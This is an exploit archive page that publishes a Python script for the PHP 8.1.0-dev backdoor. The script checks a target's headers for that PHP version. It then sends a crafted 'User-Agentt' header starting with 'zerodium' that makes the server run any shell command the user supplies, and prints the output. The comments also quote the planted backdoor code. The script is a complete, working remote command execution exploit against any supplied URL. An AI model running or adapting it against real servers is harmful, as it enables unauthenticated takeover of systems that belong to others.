exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP 8.1.0-dev Backdoor Remote Command Injection

PHP 8.1.0-dev Backdoor Remote Command Injection
Posted May 24, 2021
Authored by Richard Jones

PHP version 8.1.0-dev backdoor unauthenticated remote command injection exploit.

tags | exploit, remote, php
SHA-256 | f51b0d373568167c85b67d4b60c1a737739975e2f231f5619d8e1b7a3a1058f6

PHP 8.1.0-dev Backdoor Remote Command Injection

Change Mirror Download
# Exploit Title: PHP 8.1.0-dev (backdoor) | Remote Command Injection (Unauthenticated)
# Date: 23/05/2021
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.php.net/
# Software Link: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
# Version: PHP 8.1.0-dev
# Tested on: Linux Ubuntu 20.04.2 LTS (5.4.0-72-generic)

# Based on the recent PHP/8.1.0-dev backdoor
# Infomation: https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a?branch=2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a&diff=unified#diff-a35f2ee9e1d2d3983a3270ee10ec70bf86349c53febdeabdf104f88cb2167961R368-R370
# Reference: https://news-web.php.net/php.internals/113838
# Vuln code in the link above (Original)
# When adding "zerodium" or at the start of the user-agent field, will execute php code on the server
# convert_to_string(enc);
# if (strstr(Z_STRVAL_P(enc), "zerodium")) {
# zend_try {
# zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");


#Usage: python3 php_8.1.0-dev.py -u http://10.10.10.242/ -c ls

#!/usr/bin/env python3
import requests
import argparse

from requests.models import parse_header_links

s = requests.Session()

def checkTarget(args):
r = s.get(args.url)
for h in r.headers.items():
if "PHP/8.1.0-dev" in h[1]:
return True
return False


def execCmd(args):
r = s.get(args.url, headers={"User-Agentt":"zerodiumsystem(\""+args.cmd+"\");"})
res = r.text.split("<!DOCTYPE html>")[0]
if not res:
print("[-] No Results")
else:
print("[+] Results:")
print(res.strip())


def main():

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL (Eg: http://10.10.10.10/)", required=True)
parser.add_argument("-c", "--cmd", help="Command to execute (Eg: ls,id,whoami)", default="id")
args = parser.parse_args()

if checkTarget(args):
execCmd(args)
else:
print("[!] Not Vulnerable or url error")
exit(0)

if __name__ == "__main__":
main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close